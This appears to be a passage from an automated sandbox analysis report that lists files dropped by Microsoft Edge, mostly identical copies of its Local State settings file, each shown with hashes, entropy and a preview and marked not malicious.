SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlFSzl:Ls3cl
MD5:	FEBC4940ED8F9998229B880F498262C0
SHA1:	283C9B88CC2B31D5B51873098C5BF47511689153
SHA-256:	365EFBEBE5C7FBD2DBCE78099609A300D4DBF1A0923D7EF3A4E13A5A78B15365
SHA-512:	A3E30B18B08F8AC9C8E7CDF7239C0A60623F6D890D489AC85B514DEB499A39B5C312CB187B87D870E5CBC4E6EE449D57BEA51BD43B9A43D68882DC736661A011
Malicious:	false
Preview:	.........................................7mw../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30754.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30764.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF326d2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF32701.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF32721.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3468f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3469f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37a23.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37a32.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41857.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF41d87.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAABy9YQ7LCnWRJ+/487TL6/NEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAAAS6Ia3cNJggw8iDNeQI+J5paPRzIEy6L1bH4t589aHuAAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF444a6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.791499145001439
Encrypted:	false
SSDEEP:	96:iaqkHfLe9g5ih/cI9URLl8RotooMFVvlwhfe4IbONIeTC6XQS0qGqk+Z4uj+rjEy:akjaeiRUbhx6qRAq1k8SPxVLZ7VTiq
MD5:	8C6A106D138B877EFAE91678CD155DAB
SHA1:	029C53379786AF050A5CFF9FC707888C8A2FA29E
SHA-256:	AFB5B96FF16CFFC0B9DF49EDBF1A11CA7AFBE2FC705F956C6E627A0720F8B188
SHA-512:	1AD07A79CC2E74DE7D86960AEF1C6D83C065B3328EEE4D9EDA24C27464DADF6ECA88DC08CDE99D23D7DC12A8DFA9556797959684BEB17F4C4CAB06F668E08C71
Malicious:	false
